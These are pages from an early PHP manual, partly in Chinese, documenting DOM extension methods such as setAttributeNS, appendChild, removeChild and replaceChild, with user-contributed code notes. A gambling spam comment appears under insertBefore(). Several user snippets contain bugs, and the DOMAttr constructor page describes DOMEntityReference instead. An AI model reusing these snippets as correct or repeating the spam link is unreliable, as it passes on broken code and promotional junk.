
The attribute node.

返回值

Returns old node if the attribute has been replaced or NULL.

异常

DOM_NO_MODIFICATION_ALLOWED_ERR

Raised if the node is readonly.

参见

DOMElement->hasAttribute()
DOMElement->getAttributeNode()
DOMElement->removeAttributeNode()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
DOMElement->setAttribute() | 上一级 | DOMElement->setAttributeNodeNS()


DOMElement->setAttributeNodeNS()

(no version information, might be only in CVS)

DOMElement->setAttributeNodeNS() -- Adds new attribute node to element

说明

class DOMElement {

DOMAttr setAttributeNodeNS ( DOMAttr attr )

}

Adds new attribute node attr to element.

参数

name

The attribute node.

返回值

Returns the old node if the attribute has been replaced.

异常

DOM_NO_MODIFICATION_ALLOWED_ERR

Raised if the node is readonly.

参见

DOMElement->hasAttributeNS()
DOMElement->getAttributeNodeNS()
DOMElement->removeAttributeNode()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
DOMElement->setAttributeNode() | 上一级 | DOMElement->setAttributeNS()


DOMElement->setAttributeNS()

(no version information, might be only in CVS)

DOMElement->setAttributeNS() -- Adds new attribute

说明

class DOMElement {

void setAttributeNS ( string namespaceURI, string qualifiedName, string value )

}

Sets an attribute with namespace namespaceURI and name name to the given value. If the attribute does not exist, it will be created.

参数

namespaceURI

The namespace URI.

qualifiedName

The qualified name of the attribute, as prefix:tagname.

value

The value of the attribute.

返回值

无返回值。

异常

DOM_NO_MODIFICATION_ALLOWED_ERR

Raised if the node is readonly.

DOM_NAMESPACE_ERR

Raised if qualifiedName is a malformed qualified name, or if qualifiedName has a prefix and namespaceURI is NULL.

参见

DOMElement->hasAttributeNS()
DOMElement->getAttributeNS()
DOMElement->removeAttributeNS()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
DOMElement->setAttributeNodeNS() | 上一级 | DOMAttr->__construct()


DOMAttr->__construct()

(no version information, might be only in CVS)

DOMAttr->__construct() -- Creates a new DOMEntityReference object

说明

class DOMEntityReference {

__construct ( string name )

}

Creates a new DOMEntityReference object.

参数

name

The name of the entity reference.

范例

例子 1. Creating a new DOMEntityReference

<?php

$dom = new DOMDocument('1.0', 'iso-8859-1');
$element = $dom->appendChild(new DOMElement('root'));
$entity = $element->appendChild(new DOMEntityReference('nbsp'));
echo $dom->saveXML(); /* <?xml version="1.0" encoding="iso-8859-1"?><root>&nbsp;</root> */

?>

参见

DOMDocument->createEntityReference()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
DOMElement->setAttributeNS() | 上一级 | DOMImplementation->__construct()


DOMImplementation->__construct()

(no version information, might be only in CVS)

DOMImplementation->__construct() -- Creates a new DOMImplementation object

说明

class DOMImplementation {

__construct ( (void); )

}

Creates a new DOMImplementation object.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
DOMAttr->__construct() | 上一级 | DOMImplementation->createDocument()


DOMImplementation->createDocument()

(no version information, might be only in CVS)

DOMImplementation->createDocument() -- Creates a DOMDocument object of the specified type with its document element

说明

class DOMImplementation {

DOMDocument createDocument ( [string namespaceURI [, string qualifiedName [, DOMDocumentType doctype]]] )

}

Creates a DOMDocument object of the specified type with its document element.

参数

namespaceURI

The namespace URI of the document element to create.

qualifiedName

The qualified name of the document element to create.

doctype

The type of document to create or NULL.

返回值

A new DOMDocument object. If namespaceURI, qualifiedName, and doctype are null, the returned DOMDocument is empty with no document element

异常

DOM_WRONG_DOCUMENT_ERR

Raised if doctype has already been used with a different document or was created from a different implementation.

DOM_NAMESPACE_ERR

Raised if there is an error with the namespace, as determined by namespaceURI and qualifiedName.

参见

DOMDocument->__construct()
DOMImplementation->createDocumentType()

add a note add a note User Contributed Notes
arturm at union dot com dot pl
07-May-2006 01:23
To create HTML document with doctype:

$doctype = DOMImplementation::createDocumentType("html",
               "-//W3C//DTD HTML 4.01//EN",
               "http://www.w3.org/TR/html4/strict.dtd");
$doc = DOMImplementation::createDocument(null, 'html', $doctype);
add a note add a note

后退 | 起点 | 前进
DOMImplementation->__construct() | 上一级 | DOMImplementation->createDocumentType()


DOMImplementation->createDocumentType()

(no version information, might be only in CVS)

DOMImplementation->createDocumentType() -- Creates an empty DOMDocumentType object

说明

class DOMImplementation {

DOMDocumentType createDocumentType ( [string qualifiedName [, string publicId [, string systemId]]] )

}

Creates an empty DOMDocumentType object. Entity declarations and notations are not made available. Entity reference expansions and default attribute additions do not occur.

参数

qualifiedName

The qualified name of the document type to create.

publicId

The external subset public identifier.

systemId

The external subset system identifier.

返回值

A new DOMDocumentType node with its ownerDocument set to NULL.

范例

例子 1. Creating a document with an attached DTD

<?php

// Creates an instance of the DOMImplementation class
$imp = new DOMImplementation;

// Creates a DOMDocumentType instance
$dtd = $imp->createDocumentType('graph', '', 'graph.dtd');

// Creates a DOMDocument instance
$dom = $imp->createDocument("", "", $dtd);

// Set other properties
$dom->encoding = 'UTF-8';
$dom->standalone = false;

// Create an empty element
$element = $dom->createElement('graph');

// Append the element
$dom->appendChild($element);

// Retrieve and print the document
echo $dom->saveXML();

?>

上例将输出：

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE graph SYSTEM "graph.dtd">
<graph/>

异常

DOM_NAMESPACE_ERR

Raised if there is an error with the namespace, as determined by qualifiedName.

参见

DOMImplementation->createDocument()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
DOMImplementation->createDocument() | 上一级 | DOMImplementation->hasFeature()


DOMImplementation->hasFeature()

(no version information, might be only in CVS)

DOMImplementation->hasFeature() -- Test if the DOM implementation implements a specific feature

说明

class DOMImplementation {

bool hasFeature ( string feature, string version )

}

Test if the DOM implementation implements a specific feature.

You can find a list of all features in the Conformance section of the DOM specification.

参数

feature

The feature to test.

version

The version number of the feature to test. In level 2, this can be either 2.0 or 1.0.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

范例

例子 1. Testing your DOM Implementation

<?php

$features = array(
  'Core'           => 'Core module',
  'XML'            => 'XML module',
  'HTML'           => 'HTML module',
  'Views'          => 'Views module',
  'Stylesheets'    => 'Style Sheets module',
  'CSS'            => 'CSS module',
  'CSS2'           => 'CSS2 module',
  'Events'         => 'Events module',
  'UIEvents'       => 'User interface Events module',
  'MouseEvents'    => 'Mouse Events module',
  'MutationEvents' => 'Mutation Events module',
  'HTMLEvents'     => 'HTML Events module',
  'Range'          => 'Range module',
  'Traversal'      => 'Traversal module'
);

foreach ($features as $key => $name) {
  if (DOMImplementation::hasFeature($key, '2.0')) {
    echo "Has feature $name\n";
  } else {
    echo "Missing feature $name\n";
  }
}

?>

参见

DOMNode->isSupported()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
DOMImplementation->createDocumentType() | 上一级 | DOMNamedNodeMap->getNamedItem()


DOMNamedNodeMap->getNamedItem()

(no version information, might be only in CVS)

DOMNamedNodeMap->getNamedItem() -- Retrieves a node specified by name

说明

class DOMNamedNodeMap {

DOMNode getNamedItem ( string name )

}

Retrieves a node specified by its nodeName.

参数

name

The nodeName of the node to retrieve.

返回值

A node (of any type) with the specified nodeName, or NULL if no node is found.

参见

DOMNamedNodeMap->getNamedItemNS()

add a note add a note User Contributed Notes
franp at free dot fr
03-Mar-2006 11:28
Basic example of use :

<?xml version="1.0" encoding="UTF-8"?>
<racine version="2.0a">
  <article/>
</racine>

<?php
(...)
 echo $doc->documentElement->attributes->getNamedItem("version")->nodeValue;

// returns "2.0a"
?>
add a note add a note

后退 | 起点 | 前进
DOMImplementation->hasFeature() | 上一级 | DOMNamedNodeMap->getNamedItemNS()


DOMNamedNodeMap->getNamedItemNS()

(no version information, might be only in CVS)

DOMNamedNodeMap->getNamedItemNS() -- Retrieves a node specified by local name and namespace URI

说明

class DOMNamedNodeMap {

DOMNode getNamedItemNS ( string namespaceURI, string localName )

}

Retrieves a node specified by localName and namespaceURI.

参数

namespaceURI

The namespace URI of the node to retrieve.

localName

The local name of the node to retrieve.

返回值

A node (of any type) with the specified local name and namespace URI, or NULL if no node is found.

参见

DOMNamedNodeMap->getNamedItem()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
DOMNamedNodeMap->getNamedItem() | 上一级 | DOMNamedNodeMap->item()


DOMNamedNodeMap->item()

(no version information, might be only in CVS)

DOMNamedNodeMap->item() -- Retrieves a node specified by index

说明

class DOMNamedNodeMap {

DOMNode item ( int index )

}

Retrieves a node specified by index within the DOMNamedNodeMap object.

参数

index

Index into this map.

返回值

The node at the indexth position in the map, or NULL if that is not a valid index (greater than or equal to the number of nodes in this map).

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
DOMNamedNodeMap->getNamedItemNS() | 上一级 | DOMNode->appendChild()


DOMNode->appendChild()

(no version information, might be only in CVS)

DOMNode->appendChild() -- Adds new child at the end of the children

说明

class DOMNode {

DOMNode appendChild ( DOMNode newnode )

}

This functions appends a child to an existing list of children or creates a new list of children. The child can be created with e.g. DOMDocument->createElement(), DOMDocument->createTextNode() etc. or simply by using any other node.

参数

newnode

The appended child.

返回值

The node added.

异常

DOM_NO_MODIFICATION_ALLOWED_ERR

Raised if this node is readonly or if the previous parent of the node being inserted is readonly.

DOM_HIERARCHY_REQUEST_ERR

Raised if this node is of a type that does not allow children of the type of the newnode node, or if the node to append is one of this node's ancestors or this node itself.

DOM_WRONG_DOCUMENT_ERR

Raised if newnode was created from a different document than the one that created this node.

范例

The following example will add a new element node to a fresh document.

例子 1. Adding a child

<?php

$doc = new DOMDocument;

$node = $doc->createElement("para");
$newnode = $doc->appendChild($node);

echo $doc->saveXML();
?>

参见

DOMNode->removeChild()
DOMNode->replaceChild()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
DOMNamedNodeMap->item() | 上一级 | DOMNode->cloneNode()


DOMNode->cloneNode()

(no version information, might be only in CVS)

DOMNode->cloneNode() -- Clones a node

说明

class DOMNode {

DOMNode cloneNode ( [bool deep] )

}

Creates a copy of the node.

参数

deep

Indicates whether to copy all descendant nodes. This parameter is defaulted to FALSE.

返回值

The cloned node.

add a note add a note User Contributed Notes
oliver dot christen at camptocamp dot com
20-Nov-2004 12:48
simple exemple of node cloning

<?xml version="1.0"?>

<book type="paperback">
   <title name='MAP'>Red Nails</title>
   <price>$12.99</price>
   <author>
       <name first="Robert" middle="E" last="Howard"/>
       <birthdate>9/21/1977</birthdate>
   </author>
   <author>
       <name first="Arthur" middle="Mc" last="Kayn"/>
   </author>
</book>

<?php

//filename xml file to use
$file = 'book.xml';

$doc = new domDocument;

if (file_exists($file)) {
   $doc->load($file);
} else {
   exit('Erreur !.');
}

$xpath = new domXPath($doc);

$query = "//author/*";
$xpathQuery = $xpath->query($query);

$size = $xpathQuery->length;
for ($i=0; $i<$size; $i++){
   $node = $xpathQuery->item($i);
   if ($node->nodeName == 'birthdate' && $node->hasChildNodes() && $node->firstChild->textContent != ''){
       $clonenode = $node->cloneNode(true);
       $refnode = $node;
   }
}
for ($i=0; $i<$size; $i++){
   $node = $xpathQuery->item($i);
   if (!$node->isSameNode($refnode)){
       $newnode = $node->appendChild($clonenode);
   }
}

print $doc->saveXML();

?>
dtorop932 at hotmail dot com
19-Oct-2004 01:44
For those converting from PHP 4 DOM XML to PHP 5 DOM extension:

In the old days, DOM XML's clone_node() was the way to copy nodes from one DOM to another, as well as to perform intra-DOM copies.  Nowadays, DOM's cloneNode() is the intra-DOM solution, but see importNode() (http://php.net/dom-domdocument-importnode) to copy nodes from one DOM to another.

So to append root node of $dom2 and all its children into root node of $dom1:

PHP 4 (DOM XML):

<?
$root1 = $dom1->document_element();
$other_node = $dom2->document_element();
$root1->append_child($other_node->clone_node(true));
?>

PHP 5 (DOM):

<?
$dom1->documentElement->appendChild(
  $dom1->importNode($dom2->documentElement, true));
?>
add a note add a note

后退 | 起点 | 前进
DOMNode->appendChild() | 上一级 | DOMNode->hasAttributes()


DOMNode->hasAttributes()

(no version information, might be only in CVS)

DOMNode->hasAttributes() -- Checks if node has attributes

说明

class DOMNode {

bool hasAttributes ( void )

}

This method checks if the node has attributes. The tested node have to be an XML_ELEMENT_NODE.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

DOMNode->hasChildNodes()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
DOMNode->cloneNode() | 上一级 | DOMNode->hasChildNodes()


DOMNode->hasChildNodes()

(no version information, might be only in CVS)

DOMNode->hasChildNodes() -- Checks if node has children

说明

class DOMNode {

bool hasChildNodes ( void )

}

This function checks if the node has children.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

DOMNode->hasAttributes()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
DOMNode->hasAttributes() | 上一级 | DOMNode->insertBefore()


DOMNode->insertBefore()

(no version information, might be only in CVS)

DOMNode->insertBefore() -- Adds a new child before a reference node

说明

class DOMNode {

DOMNode insertBefore ( DOMNode newnode [, DOMNode refnode] )

}

This function inserts a new node right before the reference node. If you plan to do further modifications on the appended child you must use the returned node.

参数

newnode

The new node.

refnode

The reference node. If not supplied, newnode is appended to the children.

返回值

The inserted node.

异常

DOM_NO_MODIFICATION_ALLOWED_ERR

Raised if this node is readonly or if the previous parent of the node being inserted is readonly.

DOM_HIERARCHY_REQUEST_ERR

Raised if this node is of a type that does not allow children of the type of the newnode node, or if the node to append is one of this node's ancestors or this node itself.

DOM_WRONG_DOCUMENT_ERR

Raised if newnode was created from a different document than the one that created this node.

DOM_NOT_FOUND

Raised if refnode is not a child of this node.

add a note add a note User Contributed Notes
online baccarat
31-May-2006 03:01
<h1>Rate house double cut <a href="http://www.violetpots.com/online-baccarat"> free online baccarat</a> spades http://www.violetpots.com/online-baccarat  free bracelet line straight? </h1>
26-Aug-2005 02:34
moving an existing node within the DomDocument:
<root>
  <parent>
   <child><name>Bob</name></child>
   <child><name>Sue</name></child>
  </parent>
</root>

$dom = new DomDocument();
$dom->load("sample.xml");

$parent_path = "/root";
$query = "//child[position() = 2]";
$query2 = "//child[position() = 1]";

$xpath = new DomXPath($dom);

$parent = $xpath->query($parent_path);

$under = $xpath->query($query);

$above = $xpath->query($query2);

$parent->item(0)->insertBefore($under->item(0), $above->item(0));

$dom->save("sample.xml");

Should produce:

<root>
  <parent>
   <child><name>Sue</name></child>
   <child><name>Bob</name></child>
  </parent>
</root>
jg at handcode dot de
19-Aug-2005 03:18
example to insert <newnode/> between <chid1/> and <child2/>

<?xml version="1.0" encoding="ISO-8859-1" ?>
<root>
  <parent>
   <child nr="1"/>
   <child nr="2"/>
  </parent>
</root>

<?php

$xml_src = 'test.xml';

// XPath-Querys
$parent_path = "//parent";
$next_path = "//parent/child[@nr='2']";

// Create a new DOM document
$dom = new DomDocument();
$dom->load($xml_src);

// Find the parent node
$xpath = new DomXPath($dom);

// Find parent node
$parent = $xpath->query($parent_path);

// new node will be inserted before this node
$next = $xpath->query($next_path);

// Create the new element
$element = $dom->createElement('newnode');

// Insert the new element
$parent->item(0)->insertBefore($element, $next->item(0));

echo $dom->saveXML();

?>
Jerry Ellis
04-Jun-2005 03:45
1st argument) a node to insert
2nd argument) a reference node - this is the node that the new node will be inserted before

The trick to using this method is that the OBJECT on which you actually CALL the insertBefore() method is actually the PARENT node of the reference node!

INCORRECT:
$DOMNode_refNode->insertBefore($DOMNode_newNode, $DOMNode_refNode);

CORRECT:
$DOMNode_refNode->parentNode->insertBefore($DOMNode_newNode, $DOMNode_refNode);
add a note add a note

后退 | 起点 | 前进
DOMNode->hasChildNodes() | 上一级 | DOMNode->isSameNode()


DOMNode->isSameNode()

(no version information, might be only in CVS)

DOMNode->isSameNode() -- Indicates if two nodes are the same node

说明

class DOMNode {

bool isSameNode ( DOMNode node )

}

This function indicates if two nodes are the same node. The comparison is not based on content

参数

node

The compared node.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
DOMNode->insertBefore() | 上一级 | DOMNode->isSupported()


DOMNode->isSupported()

(no version information, might be only in CVS)

DOMNode->isSupported() -- Checks if feature is supported for specified version

说明

class DOMNode {

bool isSupported ( string feature, string version )

}

Checks if the asked feature is supported for the specified version.

参数

feature

The feature to test. See the example of DOMImplementation->hasFeature() for a list of features.

version

The version number of the feature to test.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

DOMImplementation->hasFeature()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
DOMNode->isSameNode() | 上一级 | DOMNode->lookupNamespaceURI()


DOMNode->lookupNamespaceURI()

(no version information, might be only in CVS)

DOMNode->lookupNamespaceURI() -- Gets the namespace URI of the node based on the prefix

说明

class DOMNode {

string lookupNamespaceURI ( string prefix )

}

Gets the namespace URI of the node based on the prefix.

参数

prefix

The prefix of the namespace.

返回值

The namespace URI of the node.

参见

DOMNode->lookupPrefix()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
DOMNode->isSupported() | 上一级 | DOMNode->lookupPrefix()


DOMNode->lookupPrefix()

(no version information, might be only in CVS)

DOMNode->lookupPrefix() -- Gets the namespace prefix of the node based on the namespace URI

说明

class DOMNode {

string lookupPrefix ( string namespaceURI )

}

Gets the namespace prefix of the node based on the namespace URI.

参数

namespaceURI

The namespace URI.

返回值

The prefix of the namespace.

参见

DOMNode->lookupNamespaceURI()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
DOMNode->lookupNamespaceURI() | 上一级 | DOMNode->normalize()


DOMNode->normalize()

(no version information, might be only in CVS)

DOMNode->normalize() -- Normalizes the node

说明

class DOMNode {

void normalize ( void )

}

Normalizes the node.

返回值

无返回值。

参见

DOMDocument->normalize()

add a note add a note User Contributed Notes
Amir Laher
22-Aug-2005 07:45
This is a quote from the DOM level 2 spec, explaining the normalize() function.
----
normalize
Puts all Text nodes in the full depth of the sub-tree underneath this Node, including attribute nodes, into a "normal" form where only structure (e.g., elements, comments, processing instructions, CDATA sections, and entity references) separates Text nodes, i.e., there are neither adjacent Text nodes nor empty Text nodes. This can be used to ensure that the DOM view of a document is the same as if it were saved and re-loaded, and is useful when operations (such as XPointer [XPointer] lookups) that depend on a particular document tree structure are to be used.
----
(source: http://www.w3.org/TR/DOM-Level-2-Core/core.html)

i.e. the idea of normalize is to make text nodes the same as they would be if the xml document was re-loaded into DOM. It's handy if you want to compare DOM nodes.
add a note add a note

后退 | 起点 | 前进
DOMNode->lookupPrefix() | 上一级 | DOMNode->removeChild()


DOMNode->removeChild()

(no version information, might be only in CVS)

DOMNode->removeChild() -- Removes child from list of children

说明

class DOMNode {

DOMNode removeChild ( DOMNode oldnode )

}

This functions removes a child from a list of children.

参数

oldnode

The removed child.

返回值

If the child could be removed the functions returns the old child.

异常

DOM_NO_MODIFICATION_ALLOWED_ERR

Raised if this node is readonly.

DOM_NOT_FOUND

Raised if oldnode is not a child of this node.

范例

The following example will delete the chapter element of our XML document.

例子 1. Removing a child

<?php

$doc = new DOMDocument;
$doc->load('book.xml');

$book = $doc->documentElement;

// we retrieve the chapter and remove it from the book
$chapter = $book->getElementsByTagName('chapter')->item(0);
$oldchapter = $book->removeChild($chapter);

echo $doc->saveXML();
?>

上例将输出：

<?xml version="1.0" encoding="iso-8859-1"?>
<!DOCTYPE book PUBLIC "-//OASIS//DTD DocBook XML V4.1.2//EN"
          "http://www.oasis-open.org/docbook/xml/4.1.2/docbookx.dtd">
<book id="listing">
 <title>My lists</title>

</book>

参见

DOMNode->appendChild()
DOMNode->replaceChild()

add a note add a note User Contributed Notes
mytto at openxtrem dot com
07-Sep-2005 05:20
Back again on removing childs and iterators robustness.

Things get a bit more complicated when you only want to remove 'some' nodes according to a certain condition. Then you can't just remove the first one repeatedly.

The trick is to copy the content of the node list into a more robust collection than DOMNodeList, I name array!

The following piece of code will, for instance, remove all empty child nodes:

<?php
// Copy childNodes array
$childNodes = array();
foreach($node->childNodes as $childNode) {
  $childNodes[] = $childNode;
}

// Browse with the copy
foreach ($childNodes as $childNode) {
  if (!$childNode->hasChildNodes()); {
   $childNode->parentNode->removeChild($childNode);
  }
}
?>
karan
28-Aug-2005 05:48
can we directly remove a node which has some children or do we need to remove the children first.

 while($mytn->hasChildNodes())
   {
     $mytn->removeChild($mytn->childNodes->item(0));
   }

echo $j;//this shows correct no of children

echo $mytn->childNodes->length;//after removing it
                                         // shows 0..correct

$dom->save(net.xml);

but the changes r not reflected in the xml file
blaine (at) blainegarrett (dot com)
24-Aug-2005 01:10
This might be obvious, but might help someone as well...

If you simply have a node that you need to remove (perhaps from an xpath) and don't know the parent node offhand (the examples seem to assume you have the parent in a variable), then you can do something easy like this...

$node->parentNode->removeChild($node);

parentNode is a scalar property of the Element.

Hope that helps.

--
Blaine Garrett
Executive Director of the Art Attack
http://theartattack.org
pedro at leb dot usp dot br
30-May-2005 07:24
You may also use the hasChild function:
<?php

while($node->hasChildNodes()) {
  $node->removeChild($node->childNodes->item(0));
}

?>

When you remove a childNode, the next node becomes the first one!
vsematika at centrum dot cz
13-Feb-2005 07:35
For those who don't understand >sbeam at onsetcorps dot net on 02-Feb-2005 12:07< 'hack', here's a little discussion:

First but *wrong* try would be:
<?php
foreach ($parent->childNodes as $child) {
   $parent->removeChild($child);
?>
This doesn't work because DOM tree id modified on-the-fly and this confuses foreach loop.

The idea behind sbeam's trick is that after removing the first item in the first iteration, the second item in childNodes nodelist immediately becomes the first item. That's why we must _always_ remove the first child. Here's another implementation:

<?php
$count = $parent->childNodes->length;
for ($i = 0; $i < $count; $i++) {
   $oldNode = $parent->removeChild($parent->childNodes->item(0)); // !!! not item($i) !!!
}
?>
sbeam at onsetcorps dot net
03-Feb-2005 01:07
remove all children of a given node:

while ($parent->childNodes->length) {
     $parent->removeChild($parent->childNodes->item(0));
}
add a note add a note

后退 | 起点 | 前进
DOMNode->normalize() | 上一级 | DOMNode->replaceChild()


DOMNode->replaceChild()

(no version information, might be only in CVS)

DOMNode->replaceChild() -- Replaces a child

说明

class DOMNode {

DOMNode replaceChild ( DOMNode newnode, DOMNode oldnode )

}

This function replaces the child oldnode with the passed new node. If the new node is already a child it will not be added a second time. If the replacement succeeds the old node is returned.

参数

newnode

The new node. It must be a member of the target document, i.e. created by one of the DOMDocument->createXXX() methods or imported in the document by DOMDocument->importNode().

oldnode

The old node.

返回值

The old node or FALSE if an error occur.

异常

DOM_NO_MODIFICATION_ALLOWED_ERR

Raised if this node is readonly or if the previous parent of the node being inserted is readonly.

DOM_HIERARCHY_REQUEST_ERR

Raised if this node is of a type that does not allow children of the type of the newnode node, or if the node to put in is one of this node's ancestors or this node itself.

DOM_WRONG_DOCUMENT_ERR

Raised if newnode was created from a different document than the one that created this node.

DOM_NOT_FOUND

Raised if oldnode is not a child of this node.

参见

DOMNode->appendChild()
DOMNode->removeChild()

add a note add a note User Contributed Notes
jb at jbpros dot com
02-Mar-2005 12:08
If you are trying to replace more than one node at once, you have to be careful about iterating over the DOMNodeList.  If the old node has a different name from the new node, it will be removed from the list once it has been replaced.  Use a regressive loop:

<?php

$xml = new DOMDocument;
$xml->load('docfile.xml');

$elements = $xml->getElementsByTagNameNS('http://www.example.com/NS/', '*');
$i = $elements->length - 1;
while ($i > -1) {
   $element = $elements->item($i);
   $ignore = false;

   $newelement = $xml>createTextNode('Some new node!');
   $element->parentNode->replaceChild($newelement, $element);
   $i--;
}

?>

The loop counter ($i) will always be in the list's interval as removed elements indexes are above the counter.
aidan at php dot net
26-Dec-2004 06:17
Here is a simple example for replacing a node:

Let's define our XML like so:

<?php
$xml = <<<XML
<?xml version="1.0"?>
<root>
  <parent>
     <child>bar</child>
     <child>foo</child>
  </parent>
</root>
XML;
?>

If we wanted to replace the entire <parent> node, we could do something like this:

<?php
// Create a new document fragment to hold the new <parent> node
$parent = new DomDocument;
$parent_node = $parent ->createElement('parent');

// Add some children
$parent_node->appendChild($parent->createElement('child', 'somevalue'));
$parent_node->appendChild($parent->createElement('child', 'anothervalue'));

// Add the keywordset into the new document
// The $parent variable now holds the new node as a document fragment
$parent->appendChild($parent_node);
?>

Next, we need to locate the old node:

<?php
// Load the XML
$dom = new DomDocument;
$dom->loadXML($xml);

// Locate the old parent node
$xpath = new DOMXpath($dom);
$nodelist = $xpath->query('/root/parent');
$oldnode = $nodelist->item(0);
?>

We then import and replace the new node:

<?php
// Load the $parent document fragment into the current document
$newnode = $dom->importNode($parent->documentElement, true);

// Replace
$oldnode->parentNode->replaceChild($newnode, $oldnode);

// Display
echo $dom->saveXML();
?>

Our new node is successfully imported:

<?xml version="1.0"?>
<root>
<parent><child>somevalue</child><child>anothervalue</child></parent>
</root>
franp at free dot fr
23-Sep-2004 11:39
One should never write a comment at 5:34 am ...
Here is a corrected, simplified and extended post :

1) If your XPath query returns a NodeList including a unique item, or if you know for sure the order of the items returned, you can use the "item(n)" syntax instead of the "foreach" syntax.
This can greatly improve you code lisibility.
s the method name implies, replaceChild cannot replace a node itself but a child of a node.
The trick is to use replaceChild on the parent node of your Xpath query result.

<?xml version="1.0" ?>
<action>
 <actionGlobal>
  <actionGlobalFR>sometext</actionGlobalFR>
 <actionGlobal>
</action>

$frag = $doc->createElement("actionGlobalFR");
$fragA = $doc->createTextNode("anothertext");
$frag->appendChild($fragA);

$xpResult = $xp->query("/action/actionGlobal/actionGlobalFR");
$blipblip = $xpResult->item(0)->parentNode->replaceChild($ajout, $xpResult->item(0));

2) Also, as the method name implies, replaceChild cannot replace a node itself but a child of a node.
Still it is possible to replace a node pointed by XPath istead of its child.
The trick is to use replaceChild on the parent node of your Xpath query result.

<?xml version="1.0" ?>
<action>
  <FR>French Text</FR>
</action>

<?php
$frag = $doc->createElement("EN");
$fragA = $doc->createTextNode("English Text");
$frag->appendChild($fragA);

$xpResult = $xp->query("/action/FR");
$blipblip = $xpResult->item(0)->parentNode->replaceChild($fragA, $xpResult->item(0));
?>

Et voil !

This produces :
<?xml version="1.0" ?>
<action>
  <EN>English Text</EN>
</action>

....................................................

3) Also, be carefull, you CANNOT replace a node that doesn't exist.
While this may seems obvious, it is easy to forget.

Consider this :
<?xml version="1.0" ?>
<action>
  <EN></EN>
</action>

You cannot use replaceChild() to turn this into :
<?xml version="1.0" ?>
<action>
  <EN>Some text</EN>
</action>

The reason is that since the <EN></EN> element is empty, it has no child (this is clearer to understand if you consider that <EN></EN> can be written <EN />).
The fact that you intend to put some text inbetween <EN> and </EN> does not change the fact that it has no text yet, thus no child yet.
When dealing with DOM, do not take your dream for the reality. The DOM parser doen't care about your dreams. If an element is currently empty, it has no child, whatever you intend to fill in.

Thus, the solution to teh problem is to use appendChild intead of replaceChild :

<?php
$fragA = $doc->createTextNode("Some Text");
$xpResult = $xp->query("/action/EN");
$blipblip = $xpResult->item(0)->appendChild($fragA);
?>

This produces the awaited :
<?xml version="1.0" ?>
<action>
  <EN>Some Text</EN>
</action>

....................................................

4) Note that the description of replaceChild in the doc is wrong. Arguments have been inverted.
The correct description is :
object DOMNode->replaceChild (object newnode, object oldnode)
add a note add a note

后退 | 起点 | 前进
DOMNode->removeChild() | 上一级 | DOMNodelist->item()


DOMNodelist->item()

(no version information, might be only in CVS)

DOMNodelist->item() -- Retrieves a node specified by index

说明

class DOMNodeList {

DOMNode item ( int index )

}

Retrieves a node specified by index within the DOMNodeList object.

提示: If you need to know the number of nodes in the collection, use the length property of the DOMNodeList object.

参数

index

Index of the node into the collection.

返回值

The node at the indexth position in the DOMNodeList, or NULL if that is not a valid index.

范例

例子 1. Traversing all the entries of the table

<?php

$doc = new DOMDocument;
$doc->load('book.xml');

$items = $doc->getElementsByTagName('entry');

for ($i = 0; $i < $items->length; $i++) {
    echo $items->item($i)->nodeValue . "\n";
}

?>

Alternatively, you can use foreach, which is a much more convenient way:

<?php

foreach ($items as $item) {
    echo $item->nodeValue . "\n";
}

?>

上例将输出：

Title
Author
Language
ISBN
The Grapes of Wrath
John Steinbeck
en
0140186409
The Pearl
John Steinbeck
en
014017737X
Samarcande
Amine Maalouf
fr
2253051209

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
DOMNode->replaceChild() | 上一级 | DOMProcessingInstruction->__construct()


DOMProcessingInstruction->__construct()

(no version information, might be only in CVS)

DOMProcessingInstruction->__construct() -- Creates a new DOMProcessingInstruction object

说明

class DOMProcessingInstruction {

__construct ( string name [, string value] )

}

Creates a new DOMProcessingInstruction object. This object is read only. It may be appended to a document, but additional nodes may not be appended to this node until the node is associated with a document. To create a writeable node, use DOMDocument->createProcessingInstruction().

参数

name

The tag name of the processing instruction.

value

The value of the processing instruction.

范例

例子 1. Creating a new DOMProcessingInstruction

<?php

$dom = new DOMDocument('1.0', 'UTF-8');
$html = $dom->appendChild(new DOMElement('html'));
$body = $html->appendChild(new DOMElement('body'));
$pinode = new DOMProcessingInstruction('php', 'echo "Hello World"; ');
$body->appendChild($pinode);
echo $dom->saveXML();

?>

上例将输出：

<?xml version="1.0" encoding="UTF-8"?>
<html><body><?php echo "Hello World"; ?></body></html>

参见

DOMDocument->createProcessingInstruction()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
DOMNodelist->item() | 上一级 | DOMText->__construct()


DOMText->__construct()

(no version information, might be only in CVS)

DOMText->__construct() -- Creates a new DOMText object

说明

class DOMText {

__construct ( [string value] )

}

Creates a new DOMText object.

参数

value

The value of the text node. If not supplied an empty text node is created.

范例

例子 1. Creating a new DOMText

<?php

$dom = new DOMDocument('1.0', 'iso-8859-1');
